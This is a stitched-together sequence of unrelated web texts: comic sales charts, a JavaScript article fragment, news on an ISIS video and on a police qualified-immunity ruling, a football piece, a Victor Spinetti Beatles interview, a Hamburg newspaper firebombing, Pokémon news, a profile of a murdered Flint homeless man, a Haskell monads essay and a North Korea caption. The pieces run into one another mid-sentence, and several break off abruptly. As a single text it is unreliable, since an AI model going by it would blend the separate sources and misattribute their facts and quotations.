After last week’s unusual Marvel domination, our Top 10 this week is much more in line with our store’s usual sales. Half the list is from publishers other than Marvel or DC, and includes strong showings from both established favorites such as Deadly Class #27 as well as excellent new books like Old Guard #2. The kick-off of the second volume of Alexis Ziritt and Fabian Ragnell’s excellent Space Riders, Galaxy of Brutality #1, also sold well this week.
Most notable, however, is that the Saga Volume 7 trade paperback outsold even our best selling single-issue comic, Dark Knight III The Master Race #8, by several units! It’s always good to see strong sales driven by nothing more than excellent, high-quality creative work.
—
DC narrowly wins the week with DK3, and our second-best selling item (in units) was Saga Vol 7.
There was heightened interest in the Prime books, but it doesn’t seem enough to give Marvel the numbers they’re hoping for. It looks like they’ve worn out their welcome with the Inhumans in their botched attempt to force a franchise, inexplicably removing everything that made the Royal Family interesting in the first place. Inhumans Prime was absolutely a huge improvement, I hope people are willing to check out Royals.
The DC/Hanna Barbera books sold to expectation, and were probably the funnest things out this week. I expect to see interest on them as word gets out of their quality.
Customer response to news of Secret Empire and Generations so far is tepid. Waaaay more excitement about The Button.
Licensed Marvel from the 70s and 80s have been flying out of here– Star Wars, Transformers, GI Joe, even Thundercats are all selling well. Lots of interest in Image #1s as well, people are scooping up whatever we put out.
—
Space Riders had a strong week, both in new title and originally title. Lots of Lobo back issue sales. Our sell through on New issues this year has been amazing for us. We have been in the high 90’s this year. Chopping your orders down to need not bulk has been the key.
About Rich Johnston Chief writer and founder of Bleeding Cool. Father of two. Comic book clairvoyant. Political cartoonist.
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Francois Ward Blocked Unblock Follow Following Feb 28, 2016
Image “Question!” by Stefan Baudy, CC BY 2.0
So, you’re starting a brand new JavaScript front end project or overhauling an old one, and maybe you haven’t kept up with the breakneck pace of the ecosystem. Or you did, but there’s too many things to choose from. React, Flux, Angular, Aurelia, Mocha, Jasmine, Babel, TypeScript, Flow, oh my! By trying to make things simpler, some fall into a trap captured by one of my favorite XKCD comics.
Well, the good news is the ecosystem is starting to slow down. Projects are merging. Best practices are starting to become clear. People are building on top of existing stuff instead of building new frameworks.
As a starting point, here’s |
As far as aides knew, Mr. Obama did not watch the ISIS video, and advisers did not think he should.
“That’s got to be exquisitely disturbing,” said Peter D. Feaver, a former national security aide to Mr. Bush and President Bill Clinton, who now teaches at Duke University. “And it’s different than for average Americans who are watching this on television but know there’s nothing they can do. With President Obama, there are things he can do, but he’s concluded that he can’t do them.”
Bruce Hoffman, a terrorism expert at Georgetown University, said ISIS appeared to design its video to instill maximum fear in Mr. Obama and a country it perceives as exhausted by war. Mr. Obama’s forceful response on Wednesday, he said, was “a necessary and important one — that we’re not being intimidated, we’re not backing down.”
Including Mr. Sotloff in the video, Mr. Hoffman added, intensified the direct threat the group was sending the president. “They put the knife in, and they’re trying to twist it by making it personal,” he said.A federal appeals court ruled in favor of an officer in Colleyville, Texas, who used “excessive force” against an 18-year-old woman after police shot and killed her father. The court asserted the officer could not have known force was “clearly unreasonable” in this situation, given the “lack of guiding precedent,” and granted him immunity for his actions.
Even though Erin Lincoln “sufficiently alleged violations of her right to be free from unreasonable seizure and excessive force,” the Fifth Circuit Court of Appeals sided with a district court and agreed the officer could not be sued.
The decision indicates Lincoln alleged the police shot and killed John Lincoln, her father, while she was standing next to him. She fell to the ground and cried. Immediately, Officer Patrick Turner handcuffed and tossed her over his shoulder.
“Turner carried her into the backyard, hung her roughly over the back gate, and then threw her onto her feet. Erin was then put in the back of a police car in handcuffs,” she alleged. She was in the car for a couple hours before police took her to a station for a five-hour interrogation.
John Lincoln suffered from bipolar disorder and had run out of his medication. He grabbed a gun from his father’s house and went over to his mother’s home. His father feared John might pose a danger to his mother, Kathleen. So, his father called John’s sister, Kelly, an Arlington Police Department officer. She called the Colleyville Police Department.
“A large SWAT team arrived, including officers from multiple police departments. A police dispatcher contacted Erin, who explained that her father would not hurt her. As the stand-off continued, Erin attempted to calm her father. At one point the phone rang, and Erin, knowing it was the police, urged her father not to answer it ‘because it would upset him.’ John answered the phone and became upset,” according to the court.
Erin’s father opened the door multiple times while holding the gun. Erin stood by his side. Police eventually gave up on resolving the situation and shot him.
The appeals court concluded Erin’s detention may be a “de facto arrest.” Probable cause was required to take her into custody.
Turner apparently maintained he had “reasonable suspicion” to detain Erin, and there was no “rigid time limit on the duration of an investigatory detention.” He attempted to argue events leading up to the shooting that killed her father could have led officers to suspect Erin was involved in “criminal activity.” He even went so far as to suggest she might be part of a “larger criminal enterprise” but offered no specifics.
“Accepting Erin’s allegations as true, Turner lacked the ‘minimal level of objective justification’ to detain her,” the appeals court determined.
It was not a “minimally intrusive” stop that may be acceptable under the Fourth Amendment. “A distressed young woman was handcuffed and left in the back of a police car for almost two hours. The stop provoked significant ‘anxiety and alarm,’ and lasted much longer than necessary to obtain information.”
Turner went so far as to claim that Erin could not argue her injuries, psychological and physical, came from him because there were other officers on the scene with him. Yet, in her complaint, she indicated bruises and scratches came from the force that Turner used on her. It was how he treated her that created trauma.
It was an “unconstitutional arrest.” However, the appeals court believed it was possible the officer could have believed it was reasonable to detain, arrest, and handcuff Erin.
“We are not persuaded that ‘every reasonable official would have understood that what he is doing violates that right,'” the appeals court declared.
Listing off prior relevant cases (Dunaway v. New York, Davis v. Mississippi), the appeals court insisted none of them “clearly established that a law enforcement officer could not detain a witness to a police shooting for these two hours while a SWAT team sorted out the scene, at the least when the witness was standing beside a person when the police shot him.” “Thus, we find that Erin has not shown that the contours of the right were so clearly established that ‘a reasonable official would understand that what he is doing violates that right.'”
The case is remarkable, given there are any number of situations that could occur in the course of police engaging in brutality against a suspect, witness, or bystander. All an officer has to do is allege something novel and suggest these are scenarios federal courts have not dealt with before. Then, the officer can feign ignorance and avoid any responsibility or consequences.
It creates a potentially insurmountable bar for anyone, who alleges they had their constitutional rights violated by a police officer.Charles Fischer of Fishduck.com, the top source for analysis of Oregon Ducks football, wrote a piece this weekend about why he thinks Chip Kelly is going to win Super Bowls at the NFL level. It's a great, feel good article and I encourage you to check it... but one passage in particular caught my eye.
In 2007 Heisman candidate QB Dennis Dixon went down with a knee injury that thwarted Oregon's National Championship hopes, but few realize the extent to which Oregon was ravaged by injuries at the position that year. Oregon was down to their fourth string QB, (Justin Roper, a redshirt freshman who later transferred to Montana) as the starter for the Sun Bowl that year and Coach Kelly devised a game plan for the statuesque Roper that utilized his talents. Roper threw for four touchdown passes in that victory while Oregon set a record for points in the Sun Bowl (56). It was Chip's first year as our Offensive Coordinator...
What we always hear about Chip Kelly and what the coach himself says is that he's not a system first guy, he's a personell first guy. His system gets tailored to the guys he has. While that may be true, as for the QB position he certainly has mostly had athletic guys. That has understandably led to the assumption that the decidedly non-athletic Nick Foles will have no place under Chip.
That's where Justin Roper comes in. Roper, like Foles, is a big 6-6 passer who relies more on his arm than his legs. Now, Roper is more athletic than Foles (4.86 40 vs Foles 5.0 40), but he's certainly no Dennis Dixon.
As Fishduck notes, Roper was called on to play in the Sun Bowl for the Ducks, who were 6.5 point underdogs to the South Florida Bulls who were then coached by current 49ers LB coach Jim Leavitt. Chip Kelly and the Oregon offense flat out worked over the Bulls to the tune of 56 points.
Roper, again a 4th string QB, was 17-30 for 180 yards and 4 TDs. He ran only 3 times for 10 yards. For reference, Nick Foles averaged 3 rushes per game over his last 3 starts.
RB Johnathan Stewart, by the way, rushed for 253 yards in that game. Clearly the run set up the pass in that one. Not only does that Sun Bowl bode pretty well for those of us hoping Chip Kelly is the genius he's made out to be, but it also shows that he doesn't need a mobile QB to still have a lethal offense.
One more interesting note from that Sun Bowl game... Eagles S Nate Allen actually played some offense for South Florida and caught an 11 yard TD pass.As The Beatles’ groundbreaking 1965 film Help! emerges on Blu-Ray, MOJO unearths its classic 2009 interview with the Fabs’ flamboyant co-star, Victor Spinetti. Spinetti played Help!’s mad scientist (“I could – dare I say it? – rule the world!”) with the same eye-bulging conviction that he brought to his turn as neurotic TV director in the Beatles’ debut feature, A Hard Day’s Night, and was witness to the profound changes in and around the Beatles in their most fast-moving period, not only as an actor who happened to be in their films but as a collaborator who worked with John Lennon on the theatrical version of the Beatle’s book In His Own Write.
Sadly, Spinetti is not around to relive his day in the white heat of Beatlemania, since he died in 2012, but not before delighting MOJO on several occasions with his not-always-housetrained reminiscences. Here he is, unburdening to MOJO’s Danny Eccleston in 2009.
42 years on, what does Help! mean to you?
Help!’s been very good to me. Recently, I was invited [to Las Vegas] as a guest of honour to go and see the musical Love, and then after that I was asked to attend a Beatles convention for three days, at which I gave a talk on what it was like to be in those films. I was paid and there was first class travel, and then the same thing happened to me in Chicago – I did three talks there. It’s taken me three times on the QE2.
So, what are those fan conventions like – a bit barmy?
Oh, they’re sweet; the Beatles ones are sweet. They’re the nicest people. There are people in their early teens, to people who are 80 or 90. They’re so polite. You see, the thing is, those songs were like a reservoir of poetry and melody that flooded all over the world. And so the people who plug into that, don’t plug into any of that rap hate stuff. There’s no hatred in the music, and there’s joy in it.
“A policeman said: “Is there a Victor Spinetti on this plane?” And John said: “They’re deporting you, you f***ing wop.”
What was it like being back with them again?
When we got on the plane at London to go to The Bahamas, you couldn’t hear the engines because the screams were so loud. We didn’t know it was taking off. On the way to the Bahamas, we landed in New York to refuel – we weren’t allowed to get off. This policeman came on the plane and said: “Is there a Victor Spinetti on this plane?” And John said: “They’re deporting you, you f***ing wop, you’ve been thrown off!” (laughs) The policeman said: “Will you come to the door of the plane, please, your fan club are at the airport...” And it was true! I walked to the door of the plane and I received jelly babies and teddy bears, and The Beatles were absolutely astonished. The Beatles and Brian Epstein became card-carrying members of the Victor Spinetti Fanclub Of America.
What was different this time?
Well, the accommodation was different. In the Bahamas, we were all split up. The stars and all the top rank people, and their families, went to the posh places, and the actors went to various dumps. It didn’t last long because I complained bitterly and we were moved
Surely, Equity would have something to say about that?
I remember poor old Roy Kinnear [who played Spinetti’s assistant] saying “Don’t make waves, don’t make waves”, and I said, “Oh f*** off, we’re filming tomorrow; they’re lying around by the pool.”
The first scene shot was you, Roy, Eleanor Bron and Ringo on a yacht…
…And it was nearly the end of The Beatles! It’s when Ringo had to jump into the water and I, as the mad scientist, was meant to try and cut his finger off to get his ring. He dives into the water and comes out all shivering because of course it was cold and there were shark nets – very dangerous. So they dried him off, and then they said “action” and Ringo dived off again. The third time he was being dried off – no private dressing room, just a hair drier – and he said: “Oh, Victor, I don’t want to do this again.” I said, “Why”, and he replied, “I can’t bloody swim.”
How did you rate The Beatles as actors?
Well, they never thought of themselves as actors.
No?
Acting was too interpretive; they were creative. I mean, to sit around all day on a set to go and do ten lines is tedious for most actors, but we’re being paid and we sit there. But when you’re creative, rather than interpretive… I don’t think they would have liked it too much. They might have done it occasionally. I mean, Ringo in A Hard Day’s Night was marvellous, when he was just walking along. And I remember the opening night of Help!, at the end of the Ticket To Ride sequence, the audience just burst into applause. I remember saying to them: “It’s because you have the [ring] of truth – you don’t look like liars.”
Was honesty the key to how they came across on screen?
I think so. Certainly in A Hard Day’s Night, they were just themselves, with four or five cameras running at once, observing them. With Help!, it was much more structured – much more of a proper movie. But they still didn’t look like liars. They might have looked self-conscious. John said to me once: “Whenever the director shouts ‘Action!’ all the actors change but you stay the same. Does that mean you’re as terrible as we are?”
Did it surprise you that Ringo was the one who went onto have a film career?
No, not at all – look at that face. I remember one interviewer asked him why he didn’t smile more and he said: ‘I don’t have a smiling face.’ He’s in there, looking out. That’s why he didn’t appear to be self-conscious. Like Lawrence Olivier said: “I never want to know who’s out front. Because if I know who’s out front, I’m up there watching me instead of doing it.”
Are you fond of Professor Foot, your mad scientist character? You seemed to have a lot of fun with him?
I did, indeed. Although Dick [Lester] said to me: ‘You don’t appear to be doing anything with this one,’ and I said: ‘I did my lot in A Hard Day’s Night, I’m calming down a bit.’ (Laughs) But it was a good combination of Roy and I because we’d worked together on stage before, so we were used to each other and that came across.
Had The Beatles been changed by another year of the crazy fame?
They hadn’t changed; the people around them had. In the middle of this great whirlwind of Beatlemania, there was this still, small centre where they sat. In the middle of it, you felt like you were sitting in the kitchen, do you know what I mean? The others were in the sitting room, or the drawing room, or the front room, but if you sat with them in the kitchen, they were just the same. The constant putdowns between each other kept everyone sane.
They were as down-to-earth and approachable as they were in the previous film. But, like I said, the people around them were causing tension. I remember driving along in a car – they were all given loan cars on The Bahamas – with their hair flying in the wind and George singing, “When you walk through a storm, hold your head up high!” They were the same. What changed them eventually was the split when, you know, there’s somebody else there who doesn’t say hello or smile at you. She’s smiling a lot now, I notice…
Meaning who?
(Pauses) You know who I mean.
You mean Yoko?
Don’t mention her name! (Laughs)
Was she not very friendly to you?
Well, she didn’t speak! Alright, you come into a room, OK, and then someone says ‘This is my new girlfriend’ and they just look at you and they don’t say ‘hello’ or ‘John’s told me so much about you.’ Nothing. And she made John defend her all the time.
“People think of John as this egomaniac; well, he was arrogant, but he did not have ego.”
Could you tell me about your experience of writing with John?
The Old Vic were going to do a production on stage of John Lennon’s In His Own Write [this would eventually open on June 18th 1968], and this young girl playwright [Adrienne Kennedy] came to see me and asked if I’d be in it. And she’d taken the pages of John’s books and rearranged them into another book, with stage directions that read things like, ‘Christmas tree turns into a horse and gallops off.’ I asked them if they had John’s permission and they said they hadn’t, so I rang him up and asked him what he thought. “They must be f***ing mad,” he said. I told him I’d thought of a way how to do it, and he said: “Well, I’ll give you the rights, then you can do it.” I said, “Wait a minute, we’ll do it together.” And we did.
So we got together and started to write it. I was in a flat at the time on Manchester Street [London] and John and I worked on the script one morning, quite late, near the end of ’67. John said, “Let’s go somewhere warm.” I thought he meant another room – we ended up in Africa (laughs). We got hold of a car and ended up in Marrakech, North Africa. And that’s where we went to continue writing.
What was he like as a collaborator?
The genius of the man was that he had no ego. People think of John as this egomaniac; well, he was arrogant, but he did not have ego. I asked him once: “Will there by a drawer full of songs discovered when you’re gone?” He said: “No, I just ring up Paul and say I think it’s about time we wrote another hit, and we’d get together and write one.” Picasso said, “I do not seek, I find,” and John was the same: he found things, and out of that a song came. He didn’t have a preconceived idea about things – which is ego. Ego means you can’t make a mistake, and that’s what kills most people or makes them brittle, like china.
John was able to find a thought when he got there, or something would strike him and he’d put it down. There was no question of pre-planning, like with some composers. Sammy Cahn and Jimmy Van Heusen, whom I worked with, I asked them what came first, the music or the lyrics? And they said… the cheque! (Laughs)
Did you not see John as troubled?
Well, Help! was the song. Those lyrics, “I need somebody, not just anybody…” He really was desperate. He said: “I married a f***ing privet hedge”, not about Cynthia, he meant the house. It’s all in the song I Am The Walrus – that’s a man sitting in the middle of life thinking, Is this it? Sitting on a cornflake? Getting breakfast? It’s all in there. That’s what that song’s about. Dissatisfaction. Is this it? Where do I go now?
You had a brief role in Magical Mystery Tour, too. By then, you must have noticed even more changes. They’d packed in the touring, and…
(Interrupts) They were in the studio. I remember John saying to me, “Come up to the studio, we’re recording”, and I said “John, I don’t want to bother you.” He said: “That’s alright Vic, only the f***ing bores turn up.”
You said that you’d talked to them briefly before they went off to Rishikesh; did they ever talk to you about the experience afterwards?
No, never. They did introduce me to the Maharishi, though, at the Plaza Hotel in New York. They said to me, “You’ve got to meet him, Vic,” so I went along. All these New York ladies were there to see him. He was on the stage giggling away as they threw flowers in front of him. This one woman said to him, “Tell me, your Highness, how does one teach children the principles of transcendental meditation?” And he fell about laughing and said: “My dear lady, they invented it!”
And what did you think of Magical Mystery Tour?
Now, this is the thing that annoyed me. It had dreadful press, but if you look at it, Magical Mystery Tour predates Monty Python. It must have been something that gave Monty Python the idea of doing what they did. Look at it again. The guy shovelling spaghetti into someone’s mouth with John Lennon as the waiter? That ridiculous sequence coming down the stairs singing Your Mother Should Know? All that stuff was pure surrealism.
“The next day in the press it was all: Beatles Insult Governor. But, I mean, these people were appalling.”
Of course, it was all attacked because we like to knock them down. I was asked “What do they talk about, these pop people?” I said, “Well, on the set yesterday, we discussed the Freudian interpretation of dreams, as opposed to the Jungian interpretation.” If they’d been to Oxford or Cambridge and had decided to do their rooms Chinese for a year, and dress in Chinese clothes, and eat only Chinese food, then that’s OK. But if The Beatles did that, who the f*** are they? It’s a class thing, and it’s still prevalent today. I can’t bear it.
Were you at the famous dinner party with the Governor of The Bahamas? Did you hear John’s outburst?
I remember everything. That morning, we were filming in what we thought was a disused army barracks. John said to me, “Hey, Vic, come and have a look at this,” and he opened this wooden shutter in this corrugated iron-roofed building. The smell in there was awful, and they’d thrown all the ill and old people in there. We were shocked because we thought it was a deserted building.
That night, at a dinner given by the Minister Of Finance in his marvellous house, with plates of caviar and gold service, John said: “Hey, excuse me, we were up at what we thought was an old army hut and it turned out to be full of old people and children with disabilities – how do you reconcile that with this?”
Well, the next day in the press it was all: Beatles Insult Governor. But, I mean, these people were appalling. They’d say stuff like, “Which one’s Ringo? Oh, it must be you – you’re the one with the nose,” and, “Is that hair real?” It was awful. We started playing up to it, saying things like, “Oh, what are these? Knives and forks, you say?” Then the governor’s wife would say, “Look, they don’t even know about knives and forks!” but we were putting them on. But that’s the remark that John made and I’ll never forget it.
I’m meeting Paul next week. Any message you’d like me to give him?
Well I used to take messages to John from Paul when they weren’t speaking. But please give him my love and tell him that I’m still alive! I wrote to him after the business of the divorce and I got a sweet letter back. Of course, I don’t say, ‘Here I am!’ but certainly say that I said hello.
“Vic says hi…”
Tell him I’m still in love with them more than I ever was.
Victor, so much for talking to us.
A pleasure. Now I’ve got to go to speak to a guy who’s writing a book about [legendary London theatre impresario] Binky Beaumont. Cheerio!Firefighters gather in the courtyard of German regional newspaper Hamburger Morgenpost editorial office in Hamburg, northern Germany, on January 11, 2015 (AFP)
A German tabloid that reprinted cartoons from the French satirical paper Charlie Hebdo lampooning the Prophet Mohammed was targeted in firebombing Sunday, police said.
With security services on high alert after a killing spree in Paris by Islamic extremists, police in the northern German port city of Hamburg said no one was injured in the blaze at the headquarters of the regional daily Hamburger Morgenpost, which caused only slight damage.
“Rocks and then a burning object were thrown through the window,” a police spokesman told AFP.
“Two rooms on lower floors were damaged but the fire was put out quickly.”
The Hamburger Morgenpost, known locally as the MOPO, had splashed the Charlie Hebdo cartoons on its front page after the massacre at the Paris publication, running the headline “This much freedom must be possible!”
Police said the attack had occurred at about 0120 GMT and that two young men seen acting suspiciously near the scene were detained. State security has opened an investigation, a spokesman added.
Whether there was a connection between the Charlie Hebdo cartoons and the attack was the “key question”, the spokesman said, adding that it was “too soon” to know for certain.
Police declined to provide further information about the suspects.
No one at the Hamburger Morgenpost, which has a circulation of around 91,000, could immediately be reached for comment.
“Thick smoke is still hanging in the air, the police are looking for clues,” the newspaper said in its online edition, under the headline “Arson attack on the MOPO – Due to the ‘Charlie Hebdo’ cartoons?”.
It published a picture showing firefighters in the courtyard of the building with a caption saying the incendiary device had been hurled into the basement.
Another photo showed charred newspapers from the tabloid’s archive.
It said no one had been in the building at the time.
Hamburg is Germany’s second city, with a population of around 2.4 million.
– Solidarity with French cartoonists –
Media reports said the newspaper’s publishers had ordered private security protection for the building in the western district of Othmarschen after publishing the Charlie Hebdo cartoons.
German news agency DPA quoted a police spokeswoman as saying that the editorial team should be able to continue work in the building as the damage was relatively minor.
“There is no new information, no one has claimed responsibility,” she was quoted as saying.
Two Islamic extremists stormed the offices of Charlie Hebdo on Wednesday, killing 12 people including some of France’s best-loved satirists.
Both men were killed Friday in a standoff with police.
Several German newspapers had published Charlie Hebdo cartoons, including those featuring the Prophet Mohammed, on their front pages Thursday in a gesture of solidarity with the murdered French cartoonists and in defence of free speech.
Chancellor Angela Merkel, due in Paris on Sunday for a massive march in solidarity with the victims, had on Saturday addressed members of her party in Hamburg, which is also one of Germany’s 16 federal states and which is holding elections next month.
She stressed the need for the exchange of security intelligence among Europe’s secret services, particularly among members of the Schengen passport-free zone.
Hamburg’s Islamist scene came to global attention in 2001 when it emerged that three of the suicide hijackers from the September 11 attacks on the United States, including ringleader Mohammed Atta, had lived and studied in the city.
Germany’s Bild am Sonntag newspaper reported earlier that the bloodshed in France could signal the start of a wave of attacks in Europe, citing communications by Islamic State leaders intercepted by US intelligence.
Shortly after the bloodbath in Paris, the US National Security Agency had intercepted communications in which leaders of the jihadist group announced the next wave of attacks, the tabloid said, citing unnamed sources in the US intelligence services.
A 24-year-old German suspected of joining Islamic State jihadists in Syria was arrested Saturday, months after he returned from the war-ravaged country.
German officials estimate around 550 of their citizens have made their way to Syria and Iraq to fight alongside Islamic State, raising fears of attacks on home soil when they return.Wednesday: Pokémon Sun & Moon Pre-Order Bonuses XY ORAS - Global Link Shop Campaign + Pokémon Mystery Dungeon & Pokémon Ranger Virtual Console + Pokémon GO Version 1.0.3 by Serebii Be sure to check yesterday's update for big Pokémon Sun & Moon news. This update may be updated throughout the day. If you have any ideas for the site, be sure to send them in
With the generation continuing and Nationals coming up globally, and the Chatroom has been rife with discussion while the WiFi Chatroom has been a place for battles, trades and Friend Safari hunting, so be sure to visit them. Our Forums have also had these discussion and are a bustling trade and competitive section for the games. Be sure to like our FaceBook Page.
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Edit @ 07:10: Shiny Xerneas | Edit @ 12:16: Pre-Order Bonuses | Edit @ 20:44: Pokémon GO Version 1.0.3 | Edit @ 00:19: Movie News In The Games Department Pokémon X, Y, Omega Ruby & Alpha Sapphire - Global Link It has been confirmed that the Generation 6 Global Link will end its service as of late October 2016 to make adjustments ahead of the release of the Global Link in Sun & Moon. When this happens, all features using the Global Link such as Logging in, Game Sync, Returning items into the game and Rating Battle will go offline, though the GTS, Wonder Trade and Free Battle will remain online. As part of a Thank You campaign, from July 26th everything on the PokéMileage Club will be 50% and Ability Capsules will be re-added for 5,000 PokéMiles a piece. In The Games Department Pokémon Some more pre-order bonuses have been announced for retailers across the globe for if you pre-order Pokémon Sun & Pokémon Moon. These bonuses are the same as other areas
Australia
JB-HiFi - Solgaleo & Lunala Figurines
France
Micromania - Special Sun & Moon Pins
Belgium & The Netherlands
Game Mania - 12 Quick Ball Serial Code In The Games Department Pokémon GO A new Patch, Version 1.0.3, has been pushed to iOS and Android devices (V0.29.3) for Pokémon GO. This update fixes some text based issues. We will investigate what the text changes are and add them to the patch page In The Games Department Pokémon Omega Ruby & Alpha Sapphire - Shiny Xerneas Event It has been sneak announced that the Shiny Xerneas event in the UK is currently being distributed at Smyths Toy Stores across the UK. This event is Serial Code and will run until August 16th 2016. As reported on Friday, the Shiny Yveltal event shall follow it from August 16th In The Games Department Pokémon Mystery Dungeon - Virtual Console For those of you in Japan, the Nintendo DS classic, Pokémon Mystery Dungeon: Explorers of Sky is now available on the Nintendo Wii U eShop. This game recently came out on the North American Virtual Console. It will cost 950¥ to download. There's currently no word on a European release In The Games Department Pokémon Ranger - Virtual Console For those of you in Japan, the Nintendo DS classic, Pokémon Ranger Shadows of Almia is due to release on the Nintendo Wii U eShop next week on July 27th. This game recently came out on the European Virtual Console. It will cost 950¥ to download. There's currently no word on a North American release In The Pokémon Department Pokémon - Live Action Movie Variety and Hollywood Reporter are reporting that the movie studio, Legendary Pictures, has won the rights to make a live action Pokémon movie and will begin in 2017 with a movie based on Detective Pikachu, the Nintendo 3DS game that was released earlier this year in Japan. The movie will be distributed by Toho in Japan and Universal outside of Japan. Full confirmation has yet to come but we'll bring it as soon as we can. Until Next Time, See YaFLINT, MI -- Gary Nagy's body was treated like a piece of trash.
Thrown away and cast off under a broken-off dumpster lid at an abandoned school. Barely any care put into concealing him. Not even hidden enough to stop a bus driver from spotting the lifeless body while practicing driving maneuvers in the parking lot.
It was as if the killer figured he wasn't worth burying, or even properly hiding. He was, after all, just another homeless man.
Who would notice?
In a city averaging more than one homicide per week -- where elementary school students and mothers are being gunned down -- who would care?
He was just another homeless guy.
Dirty, smelly, unshaven. Occasionally drunk.
Alone.
But he didn't deserve this, said Scott Greer, Nagy's nephew.
"He chose to be homeless," Greer said. "But he didn't choose to be murdered."
David Pattinson wells up with tears when he thinks about his best friend. He gets choked up and his voice shakes behind a thick red-and-gray beard. A grown and weathered man who spent decades living on the streets, crying like a young boy.
"He couldn't weigh 99 pounds. He couldn't whip a fly," said Pattinson, 54, who goes by "Red."
Pattinson served as the de facto mayor of Tent City, a makeshift community on an overgrown former General Motors parking lot in Burton where a close-knit group of homeless men made camp for about 10 years. In 2011, city officials and the property's owner got word of the encampment and kicked the men off.
Pattinson never returned, taking shelter at a friend's nearby home and swearing off his life on the street.
Nagy stayed in the life, bouncing around from place to place before suffering what police are calling a homicide after his body was discovered the morning of Tuesday, July 30.
Pattinson and other men who knew Nagy from his years on the streets say they were shocked to hear what had happened to him. They describe a man small in stature who kept to himself, had no enemies and couldn't hurt anyone even if he'd wanted.
"He talked so mild and quiet," said Darnell Littlejohn, a homeless man who hung around with Nagy.
A group of them -- some Tent City campers, some not -- would drink beers and smoke cigarettes near a liquor store by the school where Nagy's body was found.
"Good, calm, peaceful. Didn't bother anybody," said another member of the group, a thin man in a Los Angeles Kings hat who said he only goes by the name of Jackson.
Few of the men knew much about Nagy's upbringing. What is available on his background is patchy and scattered. Pattinson seems to be the person who knew him best and longest. It's just a part of life on the street, the men say. It's not about how you got here, it's about how you'll get by.
He was 57 when he died.
Life on the street
Nagy was born in Flint in 1955. A time when the American Dream was in full swing and being born in the hometown of General Motors was, more or less, a ticket to the good life.
For so many men, it was the right place at the right time. They would go on to well-paying factory jobs, white picket fences, kids, retirement in Florida.
Nagy seemed headed that way. He and Pattinson attended school at the Bendle district and graduated from there in the early '70s.
In 2011, Nagy told an MLive-Flint Journal reporter that he joined the Army after high school. Pattinson said his friend served in Korea before returning home.
Nagy told the Journal that he came home and worked at the Fisher Body plant for several years before it closed in 1987, leading to years of odd jobs and, eventually, homelessness. He was married for several years -- even his friends don't know how long -- and divorced in 1994, according to court records.
"Gary was a different sort of guy," said Larry Shears, a Flint resident who lives in a house nearby and had become friends with the men at Tent City. "I was sad when I saw the news (of his death)."
Shears used to manage a hotel nearby and let Nagy do some odd jobs for him and sometimes stay in a room there.
Nagy never caused problems, never had enemies, Shears said.
Eventually, Nagy found Tent City. He and Pattinson were among the founders and longest residents there.
“I didn’t have the seniority to move to Buick,” Nagy said in 2011, then 56 years old and sporting a long, white beard. “So, this is where I’m at."
In those conversations with The Journal, he spoke frankly about his desire to drink and be outside and live by his own set of rules.
“If you want to sit down and have a beer, you can’t drink a beer when you’re at a shelter.... Out of sight, out of mind is the way we look at it. We don’t bother nobody," he had said.
Nagy's only flaw, Pattinson said, is that he would get a little aggressive when he drank. He'd act like he knew everything.
"He got a little hard-headed when he got a drink or two," Shears said. "But outside of that, he was a damn good guy."
At Tent City, they called him Turtle, for the way he poked his head out of his tent.
Nagy couldn't walk very well, Pattinson said, and would often hold down the camp while others went to get food from the nearby Methodist church and buy beer with bottle deposit money. Steel Reserve -- known for its tall silver cans and high alcohol content -- was Nagy's favorite.
Nagy's health was a concern to his camp mates and to Tom Knight, an outreach worker for Resource Genesee who |
ely, how to handle each of the summands depends on the input stream:
If there are still input symbols to be consumed, then only the summands of the form symbol >>= is will proceed, the other parsers have ended prematurely.
will proceed, the other parsers have ended prematurely. If the input stream is empty, then only the parsers of the form return x have parsed the input correctly, and their results are to be returned.
That’s it, this is our breadth-first interpreter, obtained by using laws and equations to rewrite instruction lists. It is equivalent to Koen Claessen’s implementation.
As an amusing last remark, I would like to mention that our calculations can be visualized as high school algebra if we ignore that (>>=) has to pass around variables, as shown in the following table:
Term Mathematical operation return 1 (>>=) × multiplication mzero 0 mplus + addition symbol x indeterminate
For example, our key idea corresponds to the distributive law
x × a + x × b = x × (a + b)
and the monad and MonadPlus laws have well-known counterparts in algebra as well.
Conclusion
Further Examples
I hope I have managed to convincingly demonstrate the virtues of the operational viewpoint with my choice of examples.
There are many other advanced monads whose implementations also become clearer when approached this way, such as the list monad transformer (where the naive m [a] is known not to work), Oleg Kiselyov’s LogicT, Koen Claessen’s poor man’s concurrency monad, as well coroutines like Peter Thiemann’s ingenious WASH which includes a monad for tracking session state in a web server.
The operational package includes a few of these examples.
Connection with the Continuation Monad
Traditionally, the continuation monad transformer
data Cont m a = Cont { runCont :: forall b. (a -> m b) -> m b }
has been used to implement these advanced monads. This is no accident; both approaches are capable of implementing any monad. In fact, they are almost the same thing: the continuation monad is the refunctionalization of instructions as functions
\k -> interpret (Instruction `Then` k)
But alas, I think that this unfortunate melange of instruction, interpreter and continuation does not explain or clarify what is going on; it is the algebraic data type Program that offers a clear notion of what a monad is and what it means to implement one. Hence, in my opinion, the algebraic data type should be the preferred way of presenting new monads and also of implementing them, at least before program optimizations.
Actually, Program is not a plain algebraic data type, it is a generalized algebraic data type. It seems to me that this is also the reason why the continuation monad has found more use, despite being conceptually more difficult: GADTs simply weren’t available in Haskell. I believe that the Program type is a strong argument to include GADTs into a future Haskell standard.
Drawbacks
Compared to specialized implementations, like for example s -> (a,s) for the state monad, the operational approach is not entirely without drawbacks.
First, the given implementation of (>>=) has the same quadratic running time problem as (++) when used in a left-associative fashion. Fortunately, this can be ameliorated with a different (fancy) list data type; the operational library implements one.
Second, and this cannot be ameliorated, we lose laziness. The state monad represented as s -> (a,s) can cope with some infinite programs like
evalState (sequence. repeat. state $ \s -> (s,s+1)) 0
whereas the list of instructions approach has no hope of ever handling that, since only the very last Return instruction can return values.
I also think that this loss of laziness also makes value recursion a la MonadFix very difficult.
About the author
After some initial programming experience in Pascal, Heinrich Apfelmus picked up Haskell and purely functional programming just at the dawn of the new millenium. He has never looked back ever since, for he not only admires Haskell’s mathematical elegance, but also its practicality in personal life. For instance, he was always too lazy to tie knots, but that has changed and he now accepts shoe laces instead of velcro.The Rodong Sinmun reported yesterday that soldiers from the North’s army, navy and air force swore allegiance to leader Kim Jong-un on Sunday at the Kumsusan Palace of the Sun ahead of founder Kim Il Sung’s birthday today. [Rodong Sinmun]
